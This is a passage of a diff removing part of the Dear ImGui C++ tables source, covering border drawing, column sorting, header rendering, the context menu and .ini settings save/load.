would be to display part - // of it in inner window, and the part that's over scrollbars in the outer window..) - // Either solution currently won't allow us to use a larger border size: the border would clipped. - const ImRect outer_border = table->OuterRect; - const ImU32 outer_col = table->BorderColorStrong; - if ((table->Flags & ImGuiTableFlags_BordersOuter) == ImGuiTableFlags_BordersOuter) - { - inner_drawlist->AddRect(outer_border.Min, outer_border.Max, outer_col, 0.0f, ~0, border_size); - } - else if (table->Flags & ImGuiTableFlags_BordersOuterV) - { - inner_drawlist->AddLine(outer_border.Min, ImVec2(outer_border.Min.x, outer_border.Max.y), outer_col, border_size); - inner_drawlist->AddLine(ImVec2(outer_border.Max.x, outer_border.Min.y), outer_border.Max, outer_col, border_size); - } - else if (table->Flags & ImGuiTableFlags_BordersOuterH) - { - inner_drawlist->AddLine(outer_border.Min, ImVec2(outer_border.Max.x, outer_border.Min.y), outer_col, border_size); - inner_drawlist->AddLine(ImVec2(outer_border.Min.x, outer_border.Max.y), outer_border.Max, outer_col, border_size); - } - } - if ((table->Flags & ImGuiTableFlags_BordersInnerH) && table->RowPosY2 < table->OuterRect.Max.y) - { - // Draw bottom-most row border - const float border_y = table->RowPosY2; - if (border_y >= table->BgClipRect.Min.y && border_y < table->BgClipRect.Max.y) - inner_drawlist->AddLine(ImVec2(table->BorderX1, border_y), ImVec2(table->BorderX2, border_y), table->BorderColorLight, border_size); - } - - inner_drawlist->PopClipRect(); -} - -//------------------------------------------------------------------------- -// [SECTION] Tables: Sorting -//------------------------------------------------------------------------- -// - TableGetSortSpecs() -// - TableFixColumnSortDirection() [Internal] -// - TableGetColumnNextSortDirection() [Internal] -// - TableSetColumnSortDirection() [Internal] -// - TableSortSpecsSanitize() [Internal] -// - TableSortSpecsBuild() [Internal] -//------------------------------------------------------------------------- - -// Return NULL if no sort specs (most often when ImGuiTableFlags_Sortable is not set) -// You can sort your data again when 'SpecsChanged == true'. It will be true with sorting specs have changed since -// last call, or the first time. -// Lifetime: don't hold on this pointer over multiple frames or past any subsequent call to BeginTable()! -ImGuiTableSortSpecs* ImGui::TableGetSortSpecs() -{ - ImGuiContext& g = *GImGui; - ImGuiTable* table = g.CurrentTable; - IM_ASSERT(table != NULL); - - if (!(table->Flags & ImGuiTableFlags_Sortable)) - return NULL; - - // Require layout (in case TableHeadersRow() hasn't been called) as it may alter IsSortSpecsDirty in some paths. - if (!table->IsLayoutLocked) - TableUpdateLayout(table); - - if (table->IsSortSpecsDirty) - TableSortSpecsBuild(table); - - return &table->SortSpecs; -} - -static inline ImGuiSortDirection TableGetColumnAvailSortDirection(ImGuiTableColumn* column, int n) -{ - IM_ASSERT(n < column->SortDirectionsAvailCount); - return (column->SortDirectionsAvailList >> (n << 1)) & 0x03; -} - -// Fix sort direction if currently set on a value which is unavailable (e.g. activating NoSortAscending/NoSortDescending) -void ImGui::TableFixColumnSortDirection(ImGuiTable* table, ImGuiTableColumn* column) -{ - if (column->SortOrder == -1 || (column->SortDirectionsAvailMask & (1 << column->SortDirection)) != 0) - return; - column->SortDirection = (ImU8)TableGetColumnAvailSortDirection(column, 0); - table->IsSortSpecsDirty = true; -} - -// Calculate next sort direction that would be set after clicking the column -// - If the PreferSortDescending flag is set, we will default to a Descending direction on the first click. -// - Note that the PreferSortAscending flag is never checked, it is essentially the default and therefore a no-op. -IM_STATIC_ASSERT(ImGuiSortDirection_None == 0 && ImGuiSortDirection_Ascending == 1 && ImGuiSortDirection_Descending == 2); -ImGuiSortDirection ImGui::TableGetColumnNextSortDirection(ImGuiTableColumn* column) -{ - IM_ASSERT(column->SortDirectionsAvailCount > 0); - if (column->SortOrder == -1) - return TableGetColumnAvailSortDirection(column, 0); - for (int n = 0; n < 3; n++) - if (column->SortDirection == TableGetColumnAvailSortDirection(column, n)) - return TableGetColumnAvailSortDirection(column, (n + 1) % column->SortDirectionsAvailCount); - IM_ASSERT(0); - return ImGuiSortDirection_None; -} - -// Note that the NoSortAscending/NoSortDescending flags are processed in TableSortSpecsSanitize(), and they may change/revert -// the value of SortDirection. We could technically also do it here but it would be unnecessary and duplicate code. -void ImGui::TableSetColumnSortDirection(int column_n, ImGuiSortDirection sort_direction, bool append_to_sort_specs) -{ - ImGuiContext& g = *GImGui; - ImGuiTable* table = g.CurrentTable; - - if (!(table->Flags & ImGuiTableFlags_SortMulti)) - append_to_sort_specs = false; - if (!(table->Flags & ImGuiTableFlags_SortTristate)) - IM_ASSERT(sort_direction != ImGuiSortDirection_None); - - ImGuiTableColumnIdx sort_order_max = 0; - if (append_to_sort_specs) - for (int other_column_n = 0; other_column_n < table->ColumnsCount; other_column_n++) - sort_order_max = ImMax(sort_order_max, table->Columns[other_column_n].SortOrder); - - ImGuiTableColumn* column = &table->Columns[column_n]; - column->SortDirection = (ImU8)sort_direction; - if (column->SortDirection == ImGuiSortDirection_None) - column->SortOrder = -1; - else if (column->SortOrder == -1 || !append_to_sort_specs) - column->SortOrder = append_to_sort_specs ? sort_order_max + 1 : 0; - - for (int other_column_n = 0; other_column_n < table->ColumnsCount; other_column_n++) - { - ImGuiTableColumn* other_column = &table->Columns[other_column_n]; - if (other_column != column && !append_to_sort_specs) - other_column->SortOrder = -1; - TableFixColumnSortDirection(table, other_column); - } - table->IsSettingsDirty = true; - table->IsSortSpecsDirty = true; -} - -void ImGui::TableSortSpecsSanitize(ImGuiTable* table) -{ - IM_ASSERT(table->Flags & ImGuiTableFlags_Sortable); - - // Clear SortOrder from hidden column and verify that there's no gap or duplicate. - int sort_order_count = 0; - ImU64 sort_order_mask = 0x00; - for (int column_n = 0; column_n < table->ColumnsCount; column_n++) - { - ImGuiTableColumn* column = &table->Columns[column_n]; - if (column->SortOrder != -1 && !column->IsEnabled) - column->SortOrder = -1; - if (column->SortOrder == -1) - continue; - sort_order_count++; - sort_order_mask |= ((ImU64)1 << column->SortOrder); - IM_ASSERT(sort_order_count < (int)sizeof(sort_order_mask) * 8); - } - - const bool need_fix_linearize = ((ImU64)1 << sort_order_count) != (sort_order_mask + 1); - const bool need_fix_single_sort_order = (sort_order_count > 1) && !(table->Flags & ImGuiTableFlags_SortMulti); - if (need_fix_linearize || need_fix_single_sort_order) - { - ImU64 fixed_mask = 0x00; - for (int sort_n = 0; sort_n < sort_order_count; sort_n++) - { - // Fix: Rewrite sort order fields if needed so they have no gap or duplicate. - // (e.g. SortOrder 0 disappeared, SortOrder 1..2 exists --> rewrite then as SortOrder 0..1) - int column_with_smallest_sort_order = -1; - for (int column_n = 0; column_n < table->ColumnsCount; column_n++) - if ((fixed_mask & ((ImU64)1 << (ImU64)column_n)) == 0 && table->Columns[column_n].SortOrder != -1) - if (column_with_smallest_sort_order == -1 || table->Columns[column_n].SortOrder < table->Columns[column_with_smallest_sort_order].SortOrder) - column_with_smallest_sort_order = column_n; - IM_ASSERT(column_with_smallest_sort_order != -1); - fixed_mask |= ((ImU64)1 << column_with_smallest_sort_order); - table->Columns[column_with_smallest_sort_order].SortOrder = (ImGuiTableColumnIdx)sort_n; - - // Fix: Make sure only one column has a SortOrder if ImGuiTableFlags_MultiSortable is not set. - if (need_fix_single_sort_order) - { - sort_order_count = 1; - for (int column_n = 0; column_n < table->ColumnsCount; column_n++) - if (column_n != column_with_smallest_sort_order) - table->Columns[column_n].SortOrder = -1; - break; - } - } - } - - // Fallback default sort order (if no column had the ImGuiTableColumnFlags_DefaultSort flag) - if (sort_order_count == 0 && !(table->Flags & ImGuiTableFlags_SortTristate)) - for (int column_n = 0; column_n < table->ColumnsCount; column_n++) - { - ImGuiTableColumn* column = &table->Columns[column_n]; - if (column->IsEnabled && !(column->Flags & ImGuiTableColumnFlags_NoSort)) - { - sort_order_count = 1; - column->SortOrder = 0; - column->SortDirection = (ImU8)TableGetColumnAvailSortDirection(column, 0); - break; - } - } - - table->SortSpecsCount = (ImGuiTableColumnIdx)sort_order_count; -} - -void ImGui::TableSortSpecsBuild(ImGuiTable* table) -{ - IM_ASSERT(table->IsSortSpecsDirty); - TableSortSpecsSanitize(table); - - // Write output - table->SortSpecsMulti.resize(table->SortSpecsCount <= 1 ? 0 : table->SortSpecsCount); - ImGuiTableColumnSortSpecs* sort_specs = (table->SortSpecsCount == 0) ? NULL : (table->SortSpecsCount == 1) ? &table->SortSpecsSingle : table->SortSpecsMulti.Data; - for (int column_n = 0; column_n < table->ColumnsCount; column_n++) - { - ImGuiTableColumn* column = &table->Columns[column_n]; - if (column->SortOrder == -1) - continue; - IM_ASSERT(column->SortOrder < table->SortSpecsCount); - ImGuiTableColumnSortSpecs* sort_spec = &sort_specs[column->SortOrder]; - sort_spec->ColumnUserID = column->UserID; - sort_spec->ColumnIndex = (ImGuiTableColumnIdx)column_n; - sort_spec->SortOrder = (ImGuiTableColumnIdx)column->SortOrder; - sort_spec->SortDirection = column->SortDirection; - } - table->SortSpecs.Specs = sort_specs; - table->SortSpecs.SpecsCount = table->SortSpecsCount; - table->SortSpecs.SpecsDirty = true; // Mark as dirty for user - table->IsSortSpecsDirty = false; // Mark as not dirty for us -} - -//------------------------------------------------------------------------- -// [SECTION] Tables: Headers -//------------------------------------------------------------------------- -// - TableGetHeaderRowHeight() [Internal] -// - TableHeadersRow() -// - TableHeader() -//------------------------------------------------------------------------- - -float ImGui::TableGetHeaderRowHeight() -{ - // Caring for a minor edge case: - // Calculate row height, for the unlikely case that some labels may be taller than others. - // If we didn't do that, uneven header height would highlight but smaller one before the tallest wouldn't catch input for all height. - // In your custom header row you may omit this all together and just call TableNextRow() without a height... - float row_height = GetTextLineHeight(); - int columns_count = TableGetColumnCount(); - for (int column_n = 0; column_n < columns_count; column_n++) - if (TableGetColumnFlags(column_n) & ImGuiTableColumnFlags_IsEnabled) - row_height = ImMax(row_height, CalcTextSize(TableGetColumnName(column_n)).y); - row_height += GetStyle().CellPadding.y * 2.0f; - return row_height; -} - -// [Public] This is a helper to output TableHeader() calls based on the column names declared in TableSetupColumn(). -// The intent is that advanced users willing to create customized headers would not need to use this helper -// and can create their own! For example: TableHeader() may be preceeded by Checkbox() or other custom widgets. -// See 'Demo->Tables->Custom headers' for a demonstration of implementing a custom version of this. -// This code is constructed to not make much use of internal functions, as it is intended to be a template to copy. -// FIXME-TABLE: TableOpenContextMenu() and TableGetHeaderRowHeight() are not public. -void ImGui::TableHeadersRow() -{ - ImGuiContext& g = *GImGui; - ImGuiTable* table = g.CurrentTable; - IM_ASSERT(table != NULL && "Need to call TableHeadersRow() after BeginTable()!"); - - // Layout if not already done (this is automatically done by TableNextRow, we do it here solely to facilitate stepping in debugger as it is frequent to step in TableUpdateLayout) - if (!table->IsLayoutLocked) - TableUpdateLayout(table); - - // Open row - const float row_y1 = GetCursorScreenPos().y; - const float row_height = TableGetHeaderRowHeight(); - TableNextRow(ImGuiTableRowFlags_Headers, row_height); - if (table->HostSkipItems) // Merely an optimization, you may skip in your own code. - return; - - const int columns_count = TableGetColumnCount(); - for (int column_n = 0; column_n < columns_count; column_n++) - { - if (!TableSetColumnIndex(column_n)) - continue; - - // Push an id to allow unnamed labels (generally accidental, but let's behave nicely with them) - // - in your own code you may omit the PushID/PopID all-together, provided you know they won't collide - // - table->InstanceCurrent is only >0 when we use multiple BeginTable/EndTable calls with same identifier. - const char* name = TableGetColumnName(column_n); - PushID(table->InstanceCurrent * table->ColumnsCount + column_n); - TableHeader(name); - PopID(); - } - - // Allow opening popup from the right-most section after the last column. - ImVec2 mouse_pos = ImGui::GetMousePos(); - if (IsMouseReleased(1) && TableGetHoveredColumn() == columns_count) - if (mouse_pos.y >= row_y1 && mouse_pos.y < row_y1 + row_height) - TableOpenContextMenu(-1); // Will open a non-column-specific popup. -} - -// Emit a column header (text + optional sort order) -// We cpu-clip text here so that all columns headers can be merged into a same draw call. -// Note that because of how we cpu-clip and display sorting indicators, you _cannot_ use SameLine() after a TableHeader() -void ImGui::TableHeader(const char* label) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - if (window->SkipItems) - return; - - ImGuiTable* table = g.CurrentTable; - IM_ASSERT(table != NULL && "Need to call TableHeader() after BeginTable()!"); - IM_ASSERT(table->CurrentColumn != -1); - const int column_n = table->CurrentColumn; - ImGuiTableColumn* column = &table->Columns[column_n]; - - // Label - if (label == NULL) - label = ""; - const char* label_end = FindRenderedTextEnd(label); - ImVec2 label_size = CalcTextSize(label, label_end, true); - ImVec2 label_pos = window->DC.CursorPos; - - // If we already got a row height, there's use that. - // FIXME-TABLE: Padding problem if the correct outer-padding CellBgRect strays off our ClipRect? - ImRect cell_r = TableGetCellBgRect(table, column_n); - float label_height = ImMax(label_size.y, table->RowMinHeight - table->CellPaddingY * 2.0f); - - // Calculate ideal size for sort order arrow - float w_arrow = 0.0f; - float w_sort_text = 0.0f; - char sort_order_suf[4] = ""; - const float ARROW_SCALE = 0.65f; - if ((table->Flags & ImGuiTableFlags_Sortable) && !(column->Flags & ImGuiTableColumnFlags_NoSort)) - { - w_arrow = ImFloor(g.FontSize * ARROW_SCALE + g.Style.FramePadding.x); - if (column->SortOrder > 0) - { - ImFormatString(sort_order_suf, IM_ARRAYSIZE(sort_order_suf), "%d", column->SortOrder + 1); - w_sort_text = g.Style.ItemInnerSpacing.x + CalcTextSize(sort_order_suf).x; - } - } - - // We feed our unclipped width to the column without writing on CursorMaxPos, so that column is still considering for merging. - float max_pos_x = label_pos.x + label_size.x + w_sort_text + w_arrow; - column->ContentMaxXHeadersUsed = ImMax(column->ContentMaxXHeadersUsed, column->WorkMaxX); - column->ContentMaxXHeadersIdeal = ImMax(column->ContentMaxXHeadersIdeal, max_pos_x); - - // Keep header highlighted when context menu is open. - const bool selected = (table->IsContextPopupOpen && table->ContextPopupColumn == column_n && table->InstanceInteracted == table->InstanceCurrent); - ImGuiID id = window->GetID(label); - ImRect bb(cell_r.Min.x, cell_r.Min.y, cell_r.Max.x, ImMax(cell_r.Max.y, cell_r.Min.y + label_height + g.Style.CellPadding.y * 2.0f)); - ItemSize(ImVec2(0.0f, label_height)); // Don't declare unclipped width, it'll be fed ContentMaxPosHeadersIdeal - if (!ItemAdd(bb, id)) - return; - - //GetForegroundDrawList()->AddRect(cell_r.Min, cell_r.Max, IM_COL32(255, 0, 0, 255)); // [DEBUG] - //GetForegroundDrawList()->AddRect(bb.Min, bb.Max, IM_COL32(255, 0, 0, 255)); // [DEBUG] - - // Using AllowItemOverlap mode because we cover the whole cell, and we want user to be able to submit subsequent items. - bool hovered, held; - bool pressed = ButtonBehavior(bb, id, &hovered, &held, ImGuiButtonFlags_AllowItemOverlap); - if (g.ActiveId != id) - SetItemAllowOverlap(); - if (held || hovered || selected) - { - const ImU32 col = GetColorU32(held ? ImGuiCol_HeaderActive : hovered ? ImGuiCol_HeaderHovered : ImGuiCol_Header); - //RenderFrame(bb.Min, bb.Max, col, false, 0.0f); - TableSetBgColor(ImGuiTableBgTarget_CellBg, col, table->CurrentColumn); - RenderNavHighlight(bb, id, ImGuiNavHighlightFlags_TypeThin | ImGuiNavHighlightFlags_NoRounding); - } - else - { - // Submit single cell bg color in the case we didn't submit a full header row - if ((table->RowFlags & ImGuiTableRowFlags_Headers) == 0) - TableSetBgColor(ImGuiTableBgTarget_CellBg, GetColorU32(ImGuiCol_TableHeaderBg), table->CurrentColumn); - } - if (held) - table->HeldHeaderColumn = (ImGuiTableColumnIdx)column_n; - window->DC.CursorPos.y -= g.Style.ItemSpacing.y * 0.5f; - - // Drag and drop to re-order columns. - // FIXME-TABLE: Scroll request while reordering a column and it lands out of the scrolling zone. - if (held && (table->Flags & ImGuiTableFlags_Reorderable) && IsMouseDragging(0) && !g.DragDropActive) - { - // While moving a column it will jump on the other side of the mouse, so we also test for MouseDelta.x - table->ReorderColumn = (ImGuiTableColumnIdx)column_n; - table->InstanceInteracted = table->InstanceCurrent; - - // We don't reorder: through the frozen<>unfrozen line, or through a column that is marked with ImGuiTableColumnFlags_NoReorder. - if (g.IO.MouseDelta.x < 0.0f && g.IO.MousePos.x < cell_r.Min.x) - if (ImGuiTableColumn* prev_column = (column->PrevEnabledColumn != -1) ? &table->Columns[column->PrevEnabledColumn] : NULL) - if (!((column->Flags | prev_column->Flags) & ImGuiTableColumnFlags_NoReorder)) - if ((column->IndexWithinEnabledSet < table->FreezeColumnsRequest) == (prev_column->IndexWithinEnabledSet < table->FreezeColumnsRequest)) - table->ReorderColumnDir = -1; - if (g.IO.MouseDelta.x > 0.0f && g.IO.MousePos.x > cell_r.Max.x) - if (ImGuiTableColumn* next_column = (column->NextEnabledColumn != -1) ? &table->Columns[column->NextEnabledColumn] : NULL) - if (!((column->Flags | next_column->Flags) & ImGuiTableColumnFlags_NoReorder)) - if ((column->IndexWithinEnabledSet < table->FreezeColumnsRequest) == (next_column->IndexWithinEnabledSet < table->FreezeColumnsRequest)) - table->ReorderColumnDir = +1; - } - - // Sort order arrow - const float ellipsis_max = cell_r.Max.x - w_arrow - w_sort_text; - if ((table->Flags & ImGuiTableFlags_Sortable) && !(column->Flags & ImGuiTableColumnFlags_NoSort)) - { - if (column->SortOrder != -1) - { - float x = ImMax(cell_r.Min.x, cell_r.Max.x - w_arrow - w_sort_text); - float y = label_pos.y; - if (column->SortOrder > 0) - { - PushStyleColor(ImGuiCol_Text, GetColorU32(ImGuiCol_Text, 0.70f)); - RenderText(ImVec2(x + g.Style.ItemInnerSpacing.x, y), sort_order_suf); - PopStyleColor(); - x += w_sort_text; - } - RenderArrow(window->DrawList, ImVec2(x, y), GetColorU32(ImGuiCol_Text), column->SortDirection == ImGuiSortDirection_Ascending ? ImGuiDir_Up : ImGuiDir_Down, ARROW_SCALE); - } - - // Handle clicking on column header to adjust Sort Order - if (pressed && table->ReorderColumn != column_n) - { - ImGuiSortDirection sort_direction = TableGetColumnNextSortDirection(column); - TableSetColumnSortDirection(column_n, sort_direction, g.IO.KeyShift); - } - } - - // Render clipped label. Clipping here ensure that in the majority of situations, all our header cells will - // be merged into a single draw call. - //window->DrawList->AddCircleFilled(ImVec2(ellipsis_max, label_pos.y), 40, IM_COL32_WHITE); - RenderTextEllipsis(window->DrawList, label_pos, ImVec2(ellipsis_max, label_pos.y + label_height + g.Style.FramePadding.y), ellipsis_max, ellipsis_max, label, label_end, &label_size); - - const bool text_clipped = label_size.x > (ellipsis_max - label_pos.x); - if (text_clipped && hovered && g.HoveredIdNotActiveTimer > g.TooltipSlowDelay) - SetTooltip("%.*s", (int)(label_end - label), label); - - // We don't use BeginPopupContextItem() because we want the popup to stay up even after the column is hidden - if (IsMouseReleased(1) && IsItemHovered()) - TableOpenContextMenu(column_n); -} - -//------------------------------------------------------------------------- -// [SECTION] Tables: Context Menu -//------------------------------------------------------------------------- -// - TableOpenContextMenu() [Internal] -// - TableDrawContextMenu() [Internal] -//------------------------------------------------------------------------- - -// Use -1 to open menu not specific to a given column. -void ImGui::TableOpenContextMenu(int column_n) -{ - ImGuiContext& g = *GImGui; - ImGuiTable* table = g.CurrentTable; - if (column_n == -1 && table->CurrentColumn != -1) // When called within a column automatically use this one (for consistency) - column_n = table->CurrentColumn; - if (column_n == table->ColumnsCount) // To facilitate using with TableGetHoveredColumn() - column_n = -1; - IM_ASSERT(column_n >= -1 && column_n < table->ColumnsCount); - if (table->Flags & (ImGuiTableFlags_Resizable | ImGuiTableFlags_Reorderable | ImGuiTableFlags_Hideable)) - { - table->IsContextPopupOpen = true; - table->ContextPopupColumn = (ImGuiTableColumnIdx)column_n; - table->InstanceInteracted = table->InstanceCurrent; - const ImGuiID context_menu_id = ImHashStr("##ContextMenu", 0, table->ID); - OpenPopupEx(context_menu_id, ImGuiPopupFlags_None); - } -} - -// Output context menu into current window (generally a popup) -// FIXME-TABLE: Ideally this should be writable by the user. Full programmatic access to that data? -void ImGui::TableDrawContextMenu(ImGuiTable* table) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - if (window->SkipItems) - return; - - bool want_separator = false; - const int column_n = (table->ContextPopupColumn >= 0 && table->ContextPopupColumn < table->ColumnsCount) ? table->ContextPopupColumn : -1; - ImGuiTableColumn* column = (column_n != -1) ? &table->Columns[column_n] : NULL; - - // Sizing - if (table->Flags & ImGuiTableFlags_Resizable) - { - if (column != NULL) - { - const bool can_resize = !(column->Flags & ImGuiTableColumnFlags_NoResize) && column->IsEnabled; - if (MenuItem("Size column to fit###SizeOne", NULL, false, can_resize)) - TableSetColumnWidthAutoSingle(table, column_n); - } - - const char* size_all_desc; - if (table->ColumnsEnabledFixedCount == table->ColumnsEnabledCount && (table->Flags & ImGuiTableFlags_SizingMask_) != ImGuiTableFlags_SizingFixedSame) - size_all_desc = "Size all columns to fit###SizeAll"; // All fixed - else - size_all_desc = "Size all columns to default###SizeAll"; // All stretch or mixed - if (MenuItem(size_all_desc, NULL)) - TableSetColumnWidthAutoAll(table); - want_separator = true; - } - - // Ordering - if (table->Flags & ImGuiTableFlags_Reorderable) - { - if (MenuItem("Reset order", NULL, false, !table->IsDefaultDisplayOrder)) - table->IsResetDisplayOrderRequest = true; - want_separator = true; - } - - // Reset all (should work but seems unnecessary/noisy to expose?) - //if (MenuItem("Reset all")) - // table->IsResetAllRequest = true; - - // Sorting - // (modify TableOpenContextMenu() to add _Sortable flag if enabling this) -#if 0 - if ((table->Flags & ImGuiTableFlags_Sortable) && column != NULL && (column->Flags & ImGuiTableColumnFlags_NoSort) == 0) - { - if (want_separator) - Separator(); - want_separator = true; - - bool append_to_sort_specs = g.IO.KeyShift; - if (MenuItem("Sort in Ascending Order", NULL, column->SortOrder != -1 && column->SortDirection == ImGuiSortDirection_Ascending, (column->Flags & ImGuiTableColumnFlags_NoSortAscending) == 0)) - TableSetColumnSortDirection(table, column_n, ImGuiSortDirection_Ascending, append_to_sort_specs); - if (MenuItem("Sort in Descending Order", NULL, column->SortOrder != -1 && column->SortDirection == ImGuiSortDirection_Descending, (column->Flags & ImGuiTableColumnFlags_NoSortDescending) == 0)) - TableSetColumnSortDirection(table, column_n, ImGuiSortDirection_Descending, append_to_sort_specs); - } -#endif - - // Hiding / Visibility - if (table->Flags & ImGuiTableFlags_Hideable) - { - if (want_separator) - Separator(); - want_separator = true; - - PushItemFlag(ImGuiItemFlags_SelectableDontClosePopup, true); - for (int other_column_n = 0; other_column_n < table->ColumnsCount; other_column_n++) - { - ImGuiTableColumn* other_column = &table->Columns[other_column_n]; - const char* name = TableGetColumnName(table, other_column_n); - if (name == NULL || name[0] == 0) - name = ""; - - // Make sure we can't hide the last active column - bool menu_item_active = (other_column->Flags & ImGuiTableColumnFlags_NoHide) ? false : true; - if (other_column->IsEnabled && table->ColumnsEnabledCount <= 1) - menu_item_active = false; - if (MenuItem(name, NULL, other_column->IsEnabled, menu_item_active)) - other_column->IsEnabledNextFrame = !other_column->IsEnabled; - } - PopItemFlag(); - } -} - -//------------------------------------------------------------------------- -// [SECTION] Tables: Settings (.ini data) -//------------------------------------------------------------------------- -// FIXME: The binding/finding/creating flow are too confusing. -//------------------------------------------------------------------------- -// - TableSettingsInit() [Internal] -// - TableSettingsCalcChunkSize() [Internal] -// - TableSettingsCreate() [Internal] -// - TableSettingsFindByID() [Internal] -// - TableGetBoundSettings() [Internal] -// - TableResetSettings() -// - TableSaveSettings() [Internal] -// - TableLoadSettings() [Internal] -// - TableSettingsHandler_ClearAll() [Internal] -// - TableSettingsHandler_ApplyAll() [Internal] -// - TableSettingsHandler_ReadOpen() [Internal] -// - TableSettingsHandler_ReadLine() [Internal] -// - TableSettingsHandler_WriteAll() [Internal] -// - TableSettingsInstallHandler() [Internal] -//------------------------------------------------------------------------- -// [Init] 1: TableSettingsHandler_ReadXXXX() Load and parse .ini file into TableSettings. -// [Main] 2: TableLoadSettings() When table is created, bind Table to TableSettings, serialize TableSettings data into Table. -// [Main] 3: TableSaveSettings() When table properties are modified, serialize Table data into bound or new TableSettings, mark .ini as dirty. -// [Main] 4: TableSettingsHandler_WriteAll() When .ini file is dirty (which can come from other source), save TableSettings into .ini file. -//------------------------------------------------------------------------- - -// Clear and initialize empty settings instance -static void TableSettingsInit(ImGuiTableSettings* settings, ImGuiID id, int columns_count, int columns_count_max) -{ - IM_PLACEMENT_NEW(settings) ImGuiTableSettings(); - ImGuiTableColumnSettings* settings_column = settings->GetColumnSettings(); - for (int n = 0; n < columns_count_max; n++, settings_column++) - IM_PLACEMENT_NEW(settings_column) ImGuiTableColumnSettings(); - settings->ID = id; - settings->ColumnsCount = (ImGuiTableColumnIdx)columns_count; - settings->ColumnsCountMax = (ImGuiTableColumnIdx)columns_count_max; - settings->WantApply = true; -} - -static size_t TableSettingsCalcChunkSize(int columns_count) -{ - return sizeof(ImGuiTableSettings) + (size_t)columns_count * sizeof(ImGuiTableColumnSettings); -} - -ImGuiTableSettings* ImGui::TableSettingsCreate(ImGuiID id, int columns_count) -{ - ImGuiContext& g = *GImGui; - ImGuiTableSettings* settings = g.SettingsTables.alloc_chunk(TableSettingsCalcChunkSize(columns_count)); - TableSettingsInit(settings, id, columns_count, columns_count); - return settings; -} - -// Find existing settings -ImGuiTableSettings* ImGui::TableSettingsFindByID(ImGuiID id) -{ - // FIXME-OPT: Might want to store a lookup map for this? - ImGuiContext& g = *GImGui; - for (ImGuiTableSettings* settings = g.SettingsTables.begin(); settings != NULL; settings = g.SettingsTables.next_chunk(settings)) - if (settings->ID == id) - return settings; - return NULL; -} - -// Get settings for a given table, NULL if none -ImGuiTableSettings* ImGui::TableGetBoundSettings(ImGuiTable* table) -{ - if (table->SettingsOffset != -1) - { - ImGuiContext& g = *GImGui; - ImGuiTableSettings* settings = g.SettingsTables.ptr_from_offset(table->SettingsOffset); - IM_ASSERT(settings->ID == table->ID); - if (settings->ColumnsCountMax >= table->ColumnsCount) - return settings; // OK - settings->ID = 0; // Invalidate storage, we won't fit because of a count change - } - return NULL; -} - -// Restore initial state of table (with or without saved settings) -void ImGui::TableResetSettings(ImGuiTable* table) -{ - table->IsInitializing = table->IsSettingsDirty = true; - table->IsResetAllRequest = false; - table->IsSettingsRequestLoad = false; // Don't reload from ini - table->SettingsLoadedFlags = ImGuiTableFlags_None; // Mark as nothing loaded so our initialized data becomes authoritative -} - -void ImGui::TableSaveSettings(ImGuiTable* table) -{ - table->IsSettingsDirty = false; - if (table->Flags & ImGuiTableFlags_NoSavedSettings) - return; - - // Bind or create settings data - ImGuiContext& g = *GImGui; - ImGuiTableSettings* settings = TableGetBoundSettings(table); - if (settings == NULL) - { - settings = TableSettingsCreate(table->ID, table->ColumnsCount); - table->SettingsOffset = g.SettingsTables.offset_from_ptr(settings); - } - settings->ColumnsCount = (ImGuiTableColumnIdx)table->ColumnsCount; - - // Serialize ImGuiTable/ImGuiTableColumn into ImGuiTableSettings/ImGuiTableColumnSettings - IM_ASSERT(settings->ID == table->ID); - IM_ASSERT(settings->ColumnsCount == table->ColumnsCount && settings->ColumnsCountMax >= settings->ColumnsCount); - ImGuiTableColumn* column = table->Columns.Data; - ImGuiTableColumnSettings* column_settings = settings->GetColumnSettings(); - - bool save_ref_scale = false; - settings->SaveFlags = ImGuiTableFlags_None; - for (int n = 0; n < table->ColumnsCount; n++, column++, column_settings++) - { - const float width_or_weight = (column->Flags & ImGuiTableColumnFlags_WidthStretch) ? column->StretchWeight : column->WidthRequest; - column_settings->WidthOrWeight = width_or_weight; - column_settings->Index = (ImGuiTableColumnIdx)n; - column_settings->DisplayOrder = column->DisplayOrder; - column_settings->SortOrder = column->SortOrder; - column_settings->SortDirection = column->SortDirection; - column_settings->IsEnabled = column->IsEnabled; - column_settings->IsStretch = (column->Flags & ImGuiTableColumnFlags_WidthStretch) ? 1 : 0; - if ((column->Flags & ImGuiTableColumnFlags_WidthStretch) == 0) - save_ref_scale = true; - - // We skip saving some data in the .ini file when they are unnecessary to restore our state. - // Note that fixed width where initial width was derived from auto-fit will always be saved as InitStretchWeightOrWidth will be 0.0f. - // FIXME-TABLE: We don't have logic to easily compare SortOrder to DefaultSortOrder yet so it's always saved when present. - if (width_or_weight != column->InitStretchWeightOrWidth) - settings->SaveFlags |= ImGuiTableFlags_Resizable; - if (column->DisplayOrder != n) - settings->SaveFlags |= ImGuiTableFlags_Reorderable; - if (column->SortOrder != -1) - settings->SaveFlags |= ImGuiTableFlags_Sortable; - if (column->IsEnabled != ((column->Flags & ImGuiTableColumnFlags_DefaultHide) == 0)) - settings->SaveFlags |= ImGuiTableFlags_Hideable; - } - settings->SaveFlags &= table->Flags; - settings->RefScale = save_ref_scale ? table->RefScale : 0.0f; - - MarkIniSettingsDirty(); -} - -void ImGui::TableLoadSettings(ImGuiTable* table) -{ - ImGuiContext& g = *GImGui; - table->IsSettingsRequestLoad = false; - if (table->Flags & ImGuiTableFlags_NoSavedSettings) - return; - - // Bind settings - ImGuiTableSettings* settings; - if (table->SettingsOffset == -1) - { - settings = TableSettingsFindByID(table->ID); - if (settings == NULL) - return; - if (settings->ColumnsCount != table->ColumnsCount) // Allow settings if columns count changed. We could otherwise decide to return... - table->IsSettingsDirty = true; - table->SettingsOffset = g.SettingsTables.offset_from_ptr(settings); - } - else - { - settings = TableGetBoundSettings(table); - } - - table->SettingsLoadedFlags = settings->SaveFlags; - table->RefScale = settings->RefScale; - - // Serialize ImGuiTableSettings/ImGuiTableColumnSettings into ImGuiTable/ImGuiTableColumn - ImGuiTableColumnSettings* column_settings = settings->GetColumnSettings(); - ImU64 display_order_mask = 0; - for (int data_n = 0; data_n < settings->ColumnsCount; data_n++, column_settings++) - { - int column_n = column_settings->Index; - if (column_n < 0 || column_n >= table->ColumnsCount) - continue; - - ImGuiTableColumn* column = &table->Columns[column_n]; - if (settings->SaveFlags & ImGuiTableFlags_Resizable) - { - if (column_settings->IsStretch) - column->StretchWeight = column_settings->WidthOrWeight; - else - column->WidthRequest = column_settings->WidthOrWeight; - 